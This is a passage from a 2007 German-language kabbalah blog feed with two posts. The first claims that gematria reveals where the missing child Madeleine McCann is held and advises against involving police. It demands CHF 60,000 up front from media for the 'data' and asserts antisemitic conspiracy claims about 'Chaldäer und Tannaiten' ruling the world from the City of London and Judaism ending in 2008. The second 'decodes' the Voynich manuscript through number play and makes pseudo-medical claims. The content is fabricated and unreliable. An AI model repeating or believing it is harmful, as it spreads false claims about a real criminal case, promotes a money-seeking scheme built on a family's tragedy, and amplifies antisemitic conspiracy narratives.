ausgeflogen wird (der Flugplatz der Grosstadt Lagos befindet sich in
unmittelbarer Nähe von Plaia da Luz). Das Opfer wird zu diesem Zweck bewusstlos
(künstliche Atmung) gemacht und an einen vorherbestimmten Ort im Ausland
gebracht. Der Entführung liegt keine Bereicherungsabsicht zugrunde, sondern der
Plan hierzu wurde quasi <em>aus dem Nichts</em>
<em>geschaffen</em>, um einer Idee zum
Durchbruch zu verhelfen. Doch handelt es sich gleichwohl um einen kriminellen
Akt (Strafanzeige), der aber wohl ohne Bestrafung der Schuldigen ausgeht,
sofern nicht die Polizei eingeschaltet wird, sondern nur die Medien.</span></p>





<p align="center" style="text-align: center;" class="MsoNormal"><strong><span lang="DE-CH">Der „Kopf“ in der „City of
London“<o:p /></span></strong><span lang="EN-GB" style="font-size: 8pt;"><o:p>&nbsp;</o:p></span></p>

<p class="MsoNormal"><span>Wenn man nun die Sequenz DW-JD ChJ-AL für den anglikanischen Pfarrer David
Heal in das Grundmuster des Geistes einträgt, befinden sich in den acht Feldern
des Tageskreises nur jeweils ein hebräischer Konsonant, was nicht gerade
aussagekräftig ist. In solchen Fällen versucht der Kabbalist, entsprechende
hebräische Abbreviaturen zu den Buchstabengruppen zu finden, was hier zu
folgenden Ergebnissen führt:<o:p /></span></p>







<p class="MsoNormal"><span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><span lang="DE-CH">&#9679;<span>&nbsp; </span><strong>D“W</strong>
= DJN WChShBWN (Wert 436) bedeutet „<strong>Gesetz
und Denkergebnis</strong>“.<br /><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>&#9679;<span>&nbsp; </span><strong>J“D</strong> = JWRH DYH (Wert 300) bedeutet „<strong>Zeichen geben der Erkenntnis</strong>“.<br /><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>&#9679;<span>&nbsp; </span><strong>Ch“J</strong> = ChWSN JShWYWTh (Wert 916)
bedeutet „<strong>die Kraft der Erlösung</strong>“.<br /><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>&#9679;<span>&nbsp; </span><strong>A“L</strong> = AWRCh LChJJM (Wert 313) bedeutet
„<strong>die Art des Lebens</strong>“</span></p>

<p class="MsoNormal"><span>Damit lassen sich nun die acht Felder des Tageskreises der Sonne inhaltlich
ausfüllen, es ergeben sich 35 hebräische Konsonanten mit der Wertsumme 1965.
Damit ist nur noch das Feld in der Mitte leer geblieben, das dem individuellen
Bewusstsein entspricht. Um für dieses Feld eine sinnvolle Eintragung zu finden,
muss ein Differenzwert ermittelt und zu diesem dann ein entsprechendes
hebräisches Wort gefunden werden. Dabei geht der Kabbalist wie folgt vor: Die
Matrix der Seele mit der „Familienaufstellung“ der McCann’s ergab 58 Konsonanten
mit der Wertsumme 3130. Der Tageskreis der Sonne ergibt, wie oben aufgezeigt
wurde, 35 Konsonanten mit der Wertsumme 1965. Zählt man beide Totale zusammen,
ergeben sich 93 Konsonanten mit der Wertsumme 5095. Als Zielgrösse für Geist
und Seele wird, zunächst provisorisch, die Zahl 6000 festgelegt, so dass sich
als gesuchter Differenzwert die Zahl 905 ergibt. Dazu finde ich in meinen
Aufzeichnungen die hebräische Sequenz YJR HKThR mit der Bedeutung „<strong>der Ort der Krone</strong>“. Mit der „Krone“
aber ist ein gleichnamiger Ausschuss von 12 bis 14 Männern gemeint, die den
unabhängigen, souveränen Staat regieren, der als „<strong>City of London</strong>“ (= Ort) bezeichnet wird und sich im Herzen des
Grossraumes London befindet. Die City gehört nicht zu England und ist „die
reichste Quadratmeile der Welt“. wo sich Englands mächtigste Finanz- und
Wirtschaftsinstitutionen befinden. Hier haben die Chaldäer und Tannaiten, die
Herren der Welt, ihren Sitz, sie sind es, die durch die „Krone“ verkörpert
werden und denen das Weltreich des British Empire unterstand.<o:p /></span></p>

<p class="MsoNormal"><span><span></span>Für Geist und Seele ergeben
sich somit 100 Zeichen und die Wertsumme 6000. Zu dieser aber heisst es im
Babylonischen Talmud (Rosch Haschana 31a): <em>„R.
Katthina sagte, dass die Welt 6000 Jahre lang bestehen wird und 1000 Jahre lang
werde sie zerstört.“ </em>In der jüdischen Mystik bedeutet „Jahr“ nicht
unbedingt das Kalenderjahr, sondern aufgrund des Wurzelverbs ShNH (=
wiederholen) oft nichts anderes als die dazu genannte Zahl als solche. Hier
würde das bedeuten, dass die Ermittlung der Zahl 6000 für den Entführungsplan
von Madeleine zugleich auch das Ende der Welt bedeutet. <em>Das Ende welcher Welt</em>?<o:p /></span></p>



<p align="center" style="text-align: center;" class="MsoNormal"><strong><span lang="DE-CH">Ende des jüdischen
Kalenders im Jahre 2007/2008<o:p /></span></strong></p>



<p class="MsoNormal"><span>Bereits am 1.4.1996 hatte ich als Nachtrag zu meiner damaligen Schrift
„Prognose 2000“ einen zweiseitigen Text <em>„Geht
das Judentum im Jahre 2007 unwiderruflich zu Ende?“</em> publiziert. Darin ging
es um meine Analyse zu einer Abhandlung des emeritierten und inzwischen
verstorbenen jüdischen Professors Dr. Yehuda T. Radday über den jüdischen
Kalender, zu dessen jährlicher Festlegung jeweils ein in hebräischer Sprache
verfasstes Konstrukt von 17 Zeilen mit Regeln und Zählwerken herangezogen wird.
Im vorliegenden Musterfall bezog es sich auf das jüdische Jahr 5746 (1985/86).
Mein Augenmerk richtete sich auf die Zeilen 5 und 6 des Kalenderwerkes, wozu
die Übersetzung lautete: <em>„8 = das 8. Jahr
im grossen Zyklus von 303 Jahren // 6 = das 6. Jahr im kleinen Zyklus von 206
Jahren“. </em>Ich stellte hierzu fest, dass es keinen Zyklus von 303 oder von
206 Jahren gibt und dass mit 303 und 206 vielmehr endliche Zählreihen gemeint
sein müssen, mit denen jeweils ein bestimmter grosser und ein bestimmter
kleiner Zyklus seit Anbeginn der jüdischen Zeitrechnung gezählt werden. Dazu
fand ich folgende Lösung heraus: <em>„Der
grosse Zyklus ist der ‚metonische Zyklus’ von 19 Jahren, der im hebräischen
Festtagskalender eine zentrale Rolle spielt und auch im Christentum zur
Berechnung des Osterdatums noch heute benutzt wird. Und das hebräische Wort
‚gadol’ (Zeile 5) ist hier nicht mit ‚gross’, sondern mit ‚mächtig’ zu
übersetzen. Der ‚kleine Zyklus’ ist der Sonnenzyklus von 28 Jahren, und ‚klein’
(hebräisch quatan) bedeutet hier ‚gering’, nämlich geringer als der mächtigere
19-Jahre-Zyklus. Der Rest ist einfach und verblüffend: 303 x 19 = 5757 = das
jüdische Jahr, das im Herbst 1996 beginnt. Und 206 x 28 = 5768 = das jüdische
Jahr, das im Herbst 2007 beginnt.“ </em>Mit anderen Worten: Im Herbst 1996
begann für das Judentum eine Countdown-Periode des jüdischen
Kalenders von 12 Jahren, deren letztes Jahr im Herbst 2007 beginnt und im Herbst 2008 endet.
Da aber das Judentum nach dem Mondkalender ausgerichtet ist und dessen letztes
Jahr des letzten Zyklus’ im Herbst 1996 begann, endete das Judentum an sich bereits
im Herbst 1997, genauer: am 29. Elul 5757 A.M. (Anno Mundi). Seither „plempert
es sich aus“ und überall sind seither gewaltige Verfallserscheinungen
festzustellen. Sein absolutes Finaljahr aber beginnt am 1. Tischri 5768 A.M.
(Do 13.9.2007) und endet am 29. Elul 5768 A.M. (Mo 29.9.2008). Anders gesagt:
Mit der Verlagerung des wirtschaftlichen Schwerpunktes von Europa und dem
„Westen“ nach Mittel- und Ostasien (Indien und China) muss die historische
Aufgabe des Judentums als erfüllt betrachtet werden und es wird nicht mehr
benötigt. Zu Ende geht also nicht die Welt schlechthin, sondern „nur“ die
westliche, jüdische Welt mit ihrem historischen Schwerpunkt „Europa“. Wenn
diesem Europa aber der jüdische Geist entzogen wird, braucht es eine neue
geistige Grundlage, um zu überleben. Und diese neue geistige Grundlage muss
bedeutend stärker sein als die rein materiellen Konzeptionen, nach denen die
bisherigen Schwellenländer China, Indien und Brasilien ihre Wirtschaft und ihre
gesamte Kultur neu ausrichten. <o:p /></span></p>



<p align="center" style="text-align: center;" class="MsoNormal"><strong><span lang="DE-CH">Wo aber befindet sich
Madeleine?<o:p /></span></strong></p>



<p class="MsoNormal"><span>Gemäss den kabbalistischen Analogien (= Gematria) wurde Madeleine, während
die Eltern im Restaurant waren, als „Beute“ entführt und sofort ausser Landes
geflogen. Doch wohin wurde sie gebracht und wo befindet sie sich jetzt?<o:p /></span></p>

<p class="MsoNormal"><span><span></span>Mit Hilfe der <em>kabbalistischen Technik</em> und der <em>analogen Denkweise</em>, die bereits bis
hierher geführt haben, ist es mir gelungen, folgende konkreten Angaben zum vermutlich
derzeitigen Aufenthalt von Madeleine herauszufinden:<o:p /></span></p>







<p class="MsoNormal"><span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><span lang="DE-CH">&#9679;<span>&nbsp; </span>das <strong><span>Land</span></strong>, es ist nicht Portugal und nicht
England;<br /><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>&#9679;<span>&nbsp;
</span>die <strong><span>Stadt</span></strong>, genauer sogar: der Stadtteil;<br /><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>&#9679;<span>&nbsp;
</span>die <strong><span>Strasse</span></strong>;<br /><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>&#9679;<span>&nbsp;
</span>die <strong><span>Hausnummer</span></strong>.</span></p>

<p class="MsoNormal"><span lang="DE-CH"><span></span>Was da bei der Hausnummer über das
Internet zum Vorschein kommt, übertrifft geradezu alle Erwartungen. Doch damit
liegen nur „<strong>Indizienbeweise</strong>“
(rabbinisch: „gesera schawa“, das heisst die Beweisführung folgt der
hermeneutischen Regel der Analogie) vor, nicht aber harte, justiziable Fakten.
Dennoch ist die von mir erbrachte kabbalistische Beweisführung Schritt für
Schritt ganz ausserordentlich plausibel und verspricht so einen sehr hohen Grad
von Wahrscheinlichkeit, dass auf diese Weise Madeleine lebendig aufgefunden
wird.</span></p>

<p class="MsoNormal"><span lang="DE-CH"><span></span>Sofern der „Entführungsfall Madeleine“
tatsächlich aus einer höheren Ziel- und Zwecksetzung abgeleitet wurde (wovon
ich überzeugt bin), ergibt sich, dass die Täterschaft nicht als wirklich
kriminell anzusehen und deshalb von der Einschaltung der Polizei abzusehen ist.
Als exekutives und investigatives Organ kommen damit nur ein konkretes
Medienhaus und ein von diesem beauftragter Privatdetektiv oder ein entsprechend
qualifizierter Journalist in Frage. </span></p>



<p align="center" style="text-align: center;" class="MsoNormal"><strong><span lang="DE-CH">Die Suche nach einem
interessierten Medienhaus<o:p /></span></strong></p>



<p class="MsoNormal"><span lang="DE-CH">Meine beiden
Versuche, hiesige Medienhäuser direkt anzusprechen, schlugen fehl. Im ersten
Falle wurde die Angelegenheit zunächst ohne hinreichende Gründe um volle acht
Tage verschleppt und endete dann mit der unerwarteten Erklärung, man sei an der
Sache nicht sehr interessiert. Im zweiten Falle wurde ein bereits festgelegter
Besprechungstermin äusserst kurzfristig abgesagt, weil der Chefredaktor
beschloss, dass das gerade aktuelle Wetterproblem in der Schweiz wichtiger sei.
So gingen wertvolle 11 Tage „für nichts“ verloren. Dabei hatte der
Sonntagsblick am 9.6.2007 unter dem Titel „Schweizer, bitte helft uns!“ einen
längeren Aufruf der Eltern Gerry und Kate McCann veröffentlicht, der mit den
Worten schloss: <em>„Wir glauben fest, dass
auch mit Ihrer Hilfe Madeleine bald wieder heil bei uns sein wird.“<o:p /></em></span></p>

<p class="MsoNormal"><span lang="DE-CH"><span></span>Diese Publikation in meinem BLOG <em>www.kabbalaschule.ch</em> im Internet soll deshalb
dazu dienen, dass ein solches am Fall wirklich interessiertes Medienhaus
gefunden wird und dieses dann mit mir zu weiteren Verhandlungen den Kontakt
aufnimmt. Melden sich mehrere Medienhäuser, werde ich das mir am geeignetsten Erscheinende
davon auswählen und mit ihm einen Exklusivvertrag abschliessen. Mein Honorar für
die Schulung und Betreuung der betreffenden Person(en) und für die exklusive Preisgabe
der zuletzt genannten Daten und allfälliger späterer Modifikationen beträgt Fr.
60&#8242;000,–, die im Voraus in geeigneter Form zu entrichten sind. Wenn Madeleine
auf diese Weise tatsächlich gefunden und der ausgelobte Betrag von EURO 3,7
Millionen tatsächlich gezahlt wird, wird nicht nur das Honorar zurückerstattet,
sondern auch die mit den Investigationen verbundenen Aufwendungen der
betreffenden Person(en). </span></p>

<p class="MsoNormal"><span lang="DE-CH"><span></span>Sollte Madeleine – was ich ihr und den
Eltern von ganzem Herzen wünsche – auf diese Weise bald gefunden und dann das
Preisgeld an mich ausbezahlt werden, sind diese Geldmittel nicht für meinem
persönlichen Bedarf bestimmt, sondern sie fliessen vollumfänglich in eine völlig
unabhängige, gemeinnützige Stiftung, die seit ihrer Gründung im Jahre 1996 ausschliesslich
dem Zweck einer bedingungslosen und deshalb für die Erlösung der<span>&nbsp; </span>Menschheit grundlegenden „Existenzanalyse“
gewidmet ist. </span></p>



<p class="MsoNormal"><span lang="DE-CH">Biel, den 21. Juni
2007. <em>Dirk Schröder, unabhängiger Privatgelehrter</em>.</span></p>



<p class="MsoNormal"><em><span lang="DE-CH">Literatur</span></em><span lang="DE-CH">: <strong>Katechismus</strong>, „Katechismus der Katholischen Kirche“, München 1993 – <strong>Mullins</strong>, Eustace, und Bohlinger,
Roland, „Die Bankierverschwörung“, 3. Auflage, D-Struckum 1980 – <strong>Safran</strong>, Alexandre, „Die Weisheit der
Kabbala“, Bern und Stuttgart 1988.</span><span><o:p /></span></p>


 <a href="http://www.kabbalaschule.ch/blog/?p=35#more-35" class="more-link">&#8211;></a>]]></content:encoded>
			<wfw:commentRss>http://www.kabbalaschule.ch/blog/?feed=rss2&amp;p=35</wfw:commentRss>
		</item>
		<item>
		<title>Das</title>
		<link>http://www.kabbalaschule.ch/blog/?p=32</link>
		<comments>http://www.kabbalaschule.ch/blog/?p=32#comments</comments>
		<pubDate>Tue, 03 Apr 2007 19:59:05 +0000</pubDate>
		<dc:creator>Dirk Schröder</dc:creator>
		
		<category><![CDATA[Lebensfragen]]></category>

		<guid isPermaLink="false">http://www.kabbalaschule.ch/blog/?p=32</guid>
		<description><![CDATA[

&#160;

&#160;

Einleitung





Ende März 2007 sandte mir ein Bekannter aus
Deutschland einerseits einen achtseitigen Text „Das sogenannte
Voynich-Manuskript“ (ohne Autor, ohne Datum) zu, andererseits einen dies
betreffenden dreiseitigen Text mit dem Titel „Geheime Botschaft aus dem
Mittelalter“.&#160;&#160;&#160;&#160;&#160;&#160; &#9679;&#160;
Der achtseitige Text stammt, wie meine Nachforschungen ergaben, aus der
bekannten Homepage www.das-gibts-doch-nicht.info
und wurde im Januar 2007 von einem Herrn Erhard Landmann verfasst, der seinem
Text [...]]]></description>
			<content:encoded><![CDATA[

<p align="center" style="text-align: center;" class="MsoNormal"><span lang="DE-CH"><o:p>&nbsp;</o:p></span></p>

<p align="center" style="text-align: center;" class="MsoNormal"><span lang="DE-CH"><o:p>&nbsp;</o:p></span></p>

<p align="center" style="text-align: center;" class="MsoNormal"><strong><span lang="DE-CH">Einleitung<o:p /></span></strong></p>





<p class="MsoNormal"><span lang="DE-CH">Ende März 2007 sandte mir ein Bekannter aus
Deutschland einerseits einen achtseitigen Text „Das sogenannte
Voynich-Manuskript“ (ohne Autor, ohne Datum) zu, andererseits einen dies
betreffenden dreiseitigen Text mit dem Titel „Geheime Botschaft aus dem
Mittelalter“.<br /><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>&#9679;<span>&nbsp;
</span>Der achtseitige Text stammt, wie meine Nachforschungen ergaben, aus der
bekannten Homepage <em>www.das-gibts-doch-nicht.info</em>
und wurde im Januar 2007 von einem Herrn Erhard Landmann verfasst, der seinem
Text nach ein computerloser Senior ist, der befürchtet, dass man ihn wegen
seinen Aufdeckungen töten könnte. Er scheint 7 oder 8 Sprachen lesen zu können,
greift aber bei seinen Deutungsversuchen beständig auf das Altdeutsche zurück,
obwohl er zuvor klar betont, dass die deutschen Wörter erst seit Herrn Duden
eine geordnete, feste Struktur aufweisen. Das Altdeutsche kann somit recht
grosszügig nach Belieben zu Deutungen herangezogen werden. Als äusserst
stossend und dilettantisch<span>&nbsp; </span>muss zum
Beispiel sein Versuch angesehen werden, das bibelhebräische Wort ShMWAL für
„Schemuél“ (Samuel) als „Samuhel“ auszusprechen, um es naiv mit „Samen aus dem
Hel“ deuten zu können. Auf gleiche Weise vergewaltigt er JShRAL „Israel“ zu
„Israhel“, um es als „der Strahl aus dem Hel“ zu identifizieren. Und beim
„Heiligen Gral“ führt er „Gral“ etymologisch auf „Sangraal“ zurück, übersetzt
das mit „es sang der ra aus dem All“ und stellt daraufhin fest: „Einen Heiligen
Gral gab es nie. Eine üble Erfindung des Mittelalters.“ Pars pro toto: Wer
solch einen Unsinn verzapft, dessen ganzer Beitrag gehört ungelesen eingestampft.<br /><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>&#9679;<span>&nbsp;
</span>Dem dreiseitigen Text entnahm ich, dass die Geschichte der Entzifferungsversuche
dieses 232-Seiten-„Voynich“-Dokumentes „lang und opferreich“ sei und dass die
Entschlüsselungsexperten in aller Welt alle bekannten und geheimen Techniken
mit und ohne Computer eingesetzt hätten, um hinter das Geheimnis dieses
Dokumentes zu kommen – bis heute ohne Erfolg. Dadurch fühlte ich mich
angesprochen und herausgefordert. <span>&nbsp;</span></span></p>

<p align="center" style="text-align: center;" class="MsoNormal"><strong><span lang="DE-CH">Zwei Erfolg versprechende
Lösungsansätze<o:p /></span></strong></p>

<p class="MsoNormal"><span lang="DE-CH">Ich besitze den
dicken Wälzer „Codes, Chiffren &amp; andere Geheimsprachen“ von Fred Wrixon mit
dem Untertitel „Von den ägyptischen Hieroglyphen bis zur Computerkryptologie“.
Darin ist tatsächlich Alles und Jedes und völlig Unerwartetes zu finden, eines
aber nicht: die hebräische Schrift und ihre Verwendung durch die Techniken der
Kabbala. Im 14-seitigen Wikipedia-Beitrag zum „Voynich-Manuskript“ findet man
den Hinweis, dass dessen Geheimschrift auf einem Alphabet von 20 bis 30 Zeichen
beruhe, dass es kaum Wörter mit mehr als 10 Zeichen und kaum welche mit weniger
als 3 Zeichen gibt und dass initiale und finale Buchstabenformen anzutreffen
seien, „also Sonderformen von Zeichen am Wortanfang und -ende, wie sie in
semitischen Sprachen gebräuchlich sind.“ Tatsächlich umfasst das hebräische
Konsonantenalphabet 22 Buchstaben plus 5 Schlussbuchstaben, also 27
verschiedene Zeichen, das längste Wort der Tora besteht aus 10 Konsonanten und
im Hebräischen werden Konjunktionen, Präpositionen und Personalpronomen
tatsächlich mit dem Wortstamm verbunden, dies sowohl als Präfixe wie auch als
Suffixe. </span></p>

<p class="MsoNormal"><span lang="DE-CH"><span></span>Als Hebraist (Autodidakt) bin ich mit der
„Ursprache“ des Hebräischen und seiner Grammatik sehr vertraut und ich bin in
der Lage, alle Wörter aus allen Sprachen der Welt auf hebräische oder aramäische
Wurzeln und Derivate zurückzuführen. Ausserdem beherrsche ich (als Autodidakt)
inzwischen recht meisterhaft auch die Techniken der seriösen Kabbala der
chaldäischen Schriftgelehrten, die mit dem emotionalen Firlefanz der
chassidischen Kabbala – einem Schutzschild und Ablenkungsmanöver – nicht viel
gemeinsam hat. Auf diese Weise kann ich exegetisch mittels eines einzigen
hebräischen Wortes in Breiten und Tiefen gelangen, die jedem „normalen“
Sprachforscher verwehrt sind. </span></p>

<p class="MsoNormal"><span lang="DE-CH"><span></span>Im vorliegenden Falle des „Voynich-Manuskriptes“
vermute ich, dass ein hebräischer Urtext zugrunde liegt, der entweder durch das
kabbalistische Permutationsverfahren des „AThBaSh“ oder des wesentlich
geheimeren „Achas beta“ in andere Buchstabensequenzen umgewandelt wurde, so
dass der Dechiffrieransatz „hebräische Sprache“ à priori auf den Holzweg zu
führen scheint – obwohl er grundlegend richtig wäre. Die Richtigkeit meiner
These liesse sich sehr schnell feststellen, wenn ich von interessierter Seite,
die mit den entsprechenden Textaufschlüsselungen des Manuskriptes in identische
Zeichen und deren Abfolgen versehen ist, als Berater hinzugezogen würde.</span></p>

<p class="MsoNormal"><span lang="DE-CH"><span></span>Doch aufgrund meiner Erfahrungen steckt
die grundlegende Lösung zu Inhalt und Struktur in hebräischen Texten nie im
Detail, sondern ist bereits in irgendeiner Weise im Titel der betreffenden
Schrift verrätselt worden. Im Gegensatz zum monströsen „Bibelcode“ eines
Michael Drosnin lässt sich auf diese Weise bereits aus den fünf hebräischen
Titeln der Tora (Pentateuch, Fünf Bücher Moses) alles Wesentliche erkennen und
aussagen. Dasselbe gilt für die hebräisch-aramäischen Titel der sechs Ordnungen
des Talmud oder der vier Titel des Schulchan Aruch, um nur die wichtigsten
Beispiele zu nennen.</span></p>

<p align="center" style="text-align: center;" class="MsoNormal"><strong><span lang="DE-CH">Das „Voynich-Manuskript“
wird erstmals geknackt<o:p /></span></strong></p>

<p class="MsoNormal"><span lang="DE-CH">Autor und Herkunft
des Manuskriptes sind bis heute ebenso unbekannt wie die Zeit, in der es
entstand. Über die Namen der Vorbesitzer existieren lückenhafte und für Laien
kaum nachprüfbare Listen, zuletzt soll es sich im Bestand der Bibliothek eines
1865 gegründeten Jesuitenkollegs in der Villa Mondragone bei Frascati befunden
haben. Der aus Litauen stammende Wilfrid Michael Voynich (1865-1930), ein
US-amerikanischer Büchersammler und Antiquar, erwarb gemäss der Legende das
unscheinbare Manuskript zusammen mit anderen Werken aus diesem Bestand im Jahre
<strong>1912</strong>, doch schwieg sich Voynich
„zeitlebens über die genaue Herkunft des Manuskriptes aus“. Es existiert sogar
die Theorie, „dass das Manuskript eine Fälschung von Voynichs Hand ist“. Voynich
selbst versuchte nicht, den Text zu entschlüsseln, versandte aber ab <strong>1919</strong> Photokopien davon an
Wissenschaftler, die er dazu für befähigt hielt.</span></p>

<p class="MsoNormal"><span lang="DE-CH"><span></span>Exegese 1: Als eine Schlüsselzahl ist
also das Jahr 1912 anzusehen, wo das Manuskript mit dem Namen „Voynich“
erstmals in Verbindung gebracht wurde und so seinen bis heute gültigen Namen
erhielt. Mit der Wertsumme 1912 aber existiert unter anderem die hebräische
Sequenz MHDBQWTh BAWThJWTh HThPJLH [Gematrikon II 322] mit der Aussprache
„mi-ha-devékut be-otijot ha-tefila“ und der Bedeutung „von der
Anhänglichkeit/Treue in den Buchstaben des Gebets“. Das erste Wort, auch <strong><em>„deweikut“</em></strong>
ausgesprochen, bezeichnet „das Ideal der tiefen persönlichen Kommunion zwischen
Gott und Mensch“, mit dem speziell für den gläubigen Juden „ein Anhalten vor
Gott“ gemeint ist und nicht die „unio mystica“ der nichtjüdischen Mystik
[Safran 20f.]. Die <strong><em>„Buchstaben“</em></strong> könnten ein Hinweis auf das unentzifferbare
Manuskript sein und das <strong><em>„Gebet“</em></strong> ein Hinweis auf den
eigentlichen Inhalt dieses Werkes. Es könnte sich also um die drei Tagesgebete
der Juden handeln und im Kern um das Hauptgebet „schemone esre“
(„Achtzehngebet“) mit seinen (tatsächlich 19) Lobsagungen, das täglich stehend
gesprochen wird [Soetendorp 114]. Doch 1912 lässt sich auch auf 8 x 239
reduzieren, wobei die 8 als stehende Lemniskate die „Ewigkeit“ des Tageskreises
verkörpert und zum Wert 239 das hebräische Wort GWRL „goral“ für „Los,
Geschick“ existiert. </span></p>

<p class="MsoNormal"><span lang="DE-CH"><span></span>Exegese 2: Der anglizierte Name „Woynich“
(ursprünglich Wojnicz) lässt sich auf zwei aramäische Wörter zurückführen: (1) Aramäisch
BWYJ „bu’é“ (doch ist die Vokalisierung „woj“ problemlos möglich) entspricht
dem hebräischen ABYBWYWTh „ávábu’ot“ [Melamed 73] und bedeutet „<strong><em>Blattern,
Geschwüre</em></strong>, Ex 9,9f.“ [Gesenius 7]. (2) Aramäisch NJJCh „najéách“ (die
Vokalisierung „nich“ ist möglich) entspricht dem hebräischen NCh „nach“ und
bedeutet <strong><em>„ruhend“</em></strong>. Der Name „Voynich“ bedeutet „ruhende Geschwüre“ und
bezeichnet also ein gewaltiges Ausbruchspotential schlimmer, gar tödlicher
Krankheiten. <em>Gematria</em>: Die aramäische Sequenz BWYJ-NJJCh hat die Wertsumme 166
und den Verborgenen Wert 972. Zum Wert 166 existiert der hebräische Begriff
YLJWN „eljon“ für <strong><em>„der Höchste“</em></strong>, zum Wert 972 die aramäische Sequenz SPRA
DTsNJYWThA für <strong><em>„das Buch</em></strong> <strong><em>der Geheimnisse“</em></strong> und das hebräische
Wort ATsJLWTh HNPSh für <strong><em>„Seelenadel“</em></strong>. Eine erste Annäherung
erlaubt es also, das „Voynich-Manuskript“ als eine Arbeit von chaldäischen
Schriftgelehrten anzusehen, die das offenkundige Geheimwissen, das in den
Heiligen Schriften der Bibel verborgen ist, noch ein zweites Mal mit grossem
Klamauk verrätselten.</span></p>

<p class="MsoNormal"><span lang="DE-CH"><span></span>Exegese 3: Der zweite Vorname von Woynich
ist „Michael“. Das ist ein bibelhebräischer Name, zu dem es in Dn 12,1 heisst: <em>„Und in selbiger Zeit wird auftreten
Michael, der grosse Fürst“. </em>Damit ist der „Erzengel Michael“ gemeint, der
nur in Jud 9 mit diesem Titel auftritt: <em>„Als
der Erzengel Michael mit dem Teufel rechtete …“. </em>Was aber die eigentliche
Aufgabe des Erzengel Michael ist, geht nirgendwo aus der Bibel hervor, wohl
aber aus dem Glossar im „Totennbuch des Islam“, wo es heisst: „Mika’il. Einer
der vier Erzengel. Der Engel der Versorgung und Nahrung“ [Rahim 205]. Voynich
hat erstmals 1919 Kopien des Manuskriptes veröffentlicht. Die Zahl 1919 lässt
sich in 19 x 101 gliedern. Zum Wert 19 existiert das hebräische Wurzelverb JHD
für „sich zum Judentum bekennen“, zum Wert 101 existiert der bibelhebräische
Name MJKAL für „Michael“ mit der Bedeutung „Wer ist wie Gott?“ Ganz offenbar
hat das „Voynich-Manuskript“ also einen apokalyptischen Inhalt.</span></p>

<p class="MsoNormal"><span lang="DE-CH"><span></span>Exegese 4: Der erste Vorname „Wilfrid“
lässt sich über die Fraktionierung wil–fr–id<span>&nbsp;
</span>hebräisieren mit B-AL PR-YD mit der Wertsumme 387. Der hebräische
Konsonant A (Aleph) ist ein Vokalträger und kann mit „i“ vokalisiert werden
(hebräisch ASLM = „Islam“). Die Sequenz hat die<span>&nbsp;
</span>Bedeutung „mit der Kraft des jungen Stiers der Ewigkeit“. Der „junge
Stier“ ist hier eine Metapher für die Zeugungskraft und damit ein Hinweis auf
das Knochenmark, die Samenbank. Die „Ewigkeit“ hingegen wäre eine Metapher
dafür, dass das Immunsystem mit seinen beiden Bereichen Lymphe und Knochenmark
sich beständig regenerieren kann, dass also der Organismus aerob lebt – ein
gewaltiges Heilsversprechen für die seit ewigen Zeiten und bis heute anaerob,
also unter Sauerstoffabschluss mittels Gärung, Fäulnis, Moder und Verwesung
lebende Menschheit.</span></p>

<p class="MsoNormal"><span lang="DE-CH"><span></span>Zusammenfassung: Der Name „Wilfrid
Michael Voynich“ lässt sich hebräisch in fünf Wörter zerlegen, die sich – wegen
„Michael“ – somit dem rechten Teil der Matrix der Seele zuordnen lassen, dem
„EVA“-Bereich, denn hier wird das Leben dauerhaft aus „Adams Rippe“ geschaffen
und ernährt, was sündhaft ist mit den entsprechenden schlimmen Folgen für das
Leben des Einzelnen. Zu EVA:<span>&nbsp; </span>In
Wikipedia ist überraschender Weise zu lesen: <em>„Mittlerweile hat sich aufgrund eines breiten Konsenses das sogenannte
EVA (European Voynich Alphabet) etabliert.“ </em>Wer das vertiefen möchte: http://www.voynich.nu/extra/eva.html.
Ein schöner Zufall? Mit Sicherheit nicht, sondern hier werkeln auch Wissende
mit und verhöhnen die ahnungslosen Forscher. Die obigen Ergebnisse lassen sich nun
wie folgt zusammenfassend darstellen und der Seele zuordnen:</span></p>









<p class="MsoNormal"><span lang="DE-CH"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>1. <strong>Wil-</strong>
<span>&nbsp;&nbsp;</span>B-AL <em>„mit der Kraft“</em> (3) 33 – <strong>Lymphe</strong><br /><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>2. <strong>-frid</strong>
<span>&nbsp;&nbsp;</span>PR-YD <em>„Stier der Ewigkeit“</em> (4) 354 – <strong>Knochenmark</strong><br /><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>3. <strong>Michael</strong>
<span>&nbsp;&nbsp;</span><em>„Wer
ist wie Gott?“</em> (5) 101 – <strong>Galle</strong><br /><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>4. <strong>Voy-</strong><span>&nbsp;&nbsp; </span>BWYJ <em>„Geschwüre“</em>
(4) 88 – <strong>Blut<o:p /></strong><br /><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>5. <strong>-nich</strong><span>&nbsp;&nbsp; </span>NJJCh <em>„ruhend“</em>
(4) 78 – <strong>Lebenskraft</strong><o:p /></span></p>

<p class="MsoNormal"><span lang="DE-CH">Diese fünf
hebräischen Wörter umfassen 20 Konsonanten und die Wertsumme 654. Zum Wert 654
existiert der bibelhebräische Begriff ChQTh YWLM für <strong><em>„Weltzeitsatzung“</em></strong>, was
besagt, dass die Welt eine neue, für alle gültige Zeitordnung erhält, die mit
dem Kosmos synchron geschaltet ist. Andererseits geht aus dem Kontext hervor,
dass das Blut „Geschwüre“ verursacht, sobald die Lebenskraft „unruhig“
(gemacht) wird. Durch die offenbar bevorstehende Apokalypse kommt also nur
derjenige unbeschadet hindurch, der die Zusammenhänge versteht und seine
Lebenskraft bei Bedarf „ruhend“ halten kann.</span></p>

